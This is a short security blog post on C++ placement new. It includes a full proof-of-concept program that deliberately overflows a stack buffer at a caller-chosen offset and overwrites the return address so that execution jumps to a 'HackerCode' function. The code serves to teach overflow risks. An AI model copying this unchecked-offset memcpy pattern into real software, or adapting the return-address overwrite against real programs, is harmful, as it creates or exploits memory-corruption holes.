Dan Griffin's Blog

Comments on security, PKI, smart cards, cryptography, and entrepreneurship.

I recently learned that the C++ operator new, which typically takes a
single argument and returns a pointer to heap memory, also has a
two-argument version which supports allocation (and object initialization)
from an arbitrary buffer.  The two-arg version is called "placement new."

The obligatory web search turned up this link, which misleadingly suggests
that only heap buffers should be used with placement new, in order to
avoid potential alignment problems.  However, alignment issues are easily
mitigated, and the proposed overall limitation on usage is unrealistic. 
Indeed, I see two general scenarios where placement new might be useful:

  1. Instantiating an object into an existing stack buffer, perhaps for
    serialization or making a subsequent copy, thereby avoiding the overhead
    of an additional call into the heap. 
  2. Similar to the above, except for the purpose of recycling a private
    pool of cached buffers. 

That got me thinking about the potential risks, from an overflow
perspective, in using placement new with stack buffers.  So, I decided to
write the canonical "Smash the Return Address Via Placement New" stack
buffer overflow proof of concept.

/*
Demonstration of a stack buffer overflow via dangerous use of placement new.

Requires that the optimizer is turned off, otherwise it may detect that the
test functions don’t do very much and eliminate them.

C++ exceptions must be disabled, otherwise the handler information on the stack
will make the current hard-coded offset computation incorrect. 

Note that /GS is enabled.
*/

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <new> // From C++ std library

#define cSTACK_BUFFER_ELEMENTS 4

class CMyBuffer
{
public:
    CMyBuffer() { ; }
    void AppendData(DWORD dwOffset, PBYTE pb, DWORD cb) {
        memcpy(m_rgb + dwOffset, pb, cb);
    }

protected:
    BYTE m_rgb [4];
};

DWORD
WINAPI
HackerCode(void)
{
    printf("0wn3d\n");
    return ERROR_SUCCESS;
}

DWORD
WINAPI
TestFunction(
    DWORD dwOffset,
    PBYTE pbData,
    DWORD cbData)
{
    PDWORD rgPlacementNewBuffer [cSTACK_BUFFER_ELEMENTS] = {0};
    CMyBuffer *pTest = (CMyBuffer *) new (rgPlacementNewBuffer) CMyBuffer();

    printf("Inside TestFunction\n");
    pTest->AppendData(dwOffset, pbData, cbData);
    return ERROR_SUCCESS;
}

int _tmain(int argc, _TCHAR* argv[])
{
 // Offset is the size of the target stack buffer, plus one to account for
 // the caller’s saved stack base pointer.
    DWORD dwOffset = sizeof(PDWORD) * (cSTACK_BUFFER_ELEMENTS + 1);
    FARPROC proc = (FARPROC) HackerCode;

    printf("Calling TestFunction\n");
    TestFunction(dwOffset, (PBYTE) &proc, sizeof(proc));
    return 0;
}

Permalink |

No Comments »

No comments yet.

RSS feed for comments on this post. TrackBack URL

Leave a comment